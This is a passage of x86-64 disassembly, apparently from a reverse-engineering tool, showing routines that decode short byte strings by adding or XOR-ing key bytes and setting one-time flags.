jl 0x140149e10
mov al, 0xef
xchg byte [0x14049899e], al
mov rax, qword [0x1404ee7f8]
jmp 0x140149ef0
xor eax, eax
lea rcx, [0x140498bb0]
lea rdx, [0x1403bcba0]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 0xc
jl 0x140149e50
mov al, 0x53
xchg byte [0x140498bbc], al
lea rax, [0x140498bb0]
jmp 0x140149ef0
cmp qword [0x1404ee7f0], 0
jne 0x140149ebf
mov ecx, 4
call fcn.14035b68c
mov rsi, rax
mov qword [0x1404ee7f0], rax
lea rcx, [0x140149bf0]
call fcn.1403769c0
xor eax, eax
lea rcx, [0x1403bc900]
nop word cs:[rax + rax]
movzx edx, byte [rax + rcx]
mov byte [rsi + rax], dl
inc rax
cmp eax, 2
jle 0x140149eb0
mov rax, qword [0x1404ee7f0]
xor ecx, ecx
lea rdx, [0x1403bc910]
nop
movzx r8d, byte [rcx + rdx]
xor byte [rax + rcx], r8b
inc rcx
cmp ecx, 3
jl 0x140149ed0
mov al, 0x87
xchg byte [0x14049899d], al
mov rax, qword [0x1404ee7f0]
add rsp, 0x20
pop rsi
ret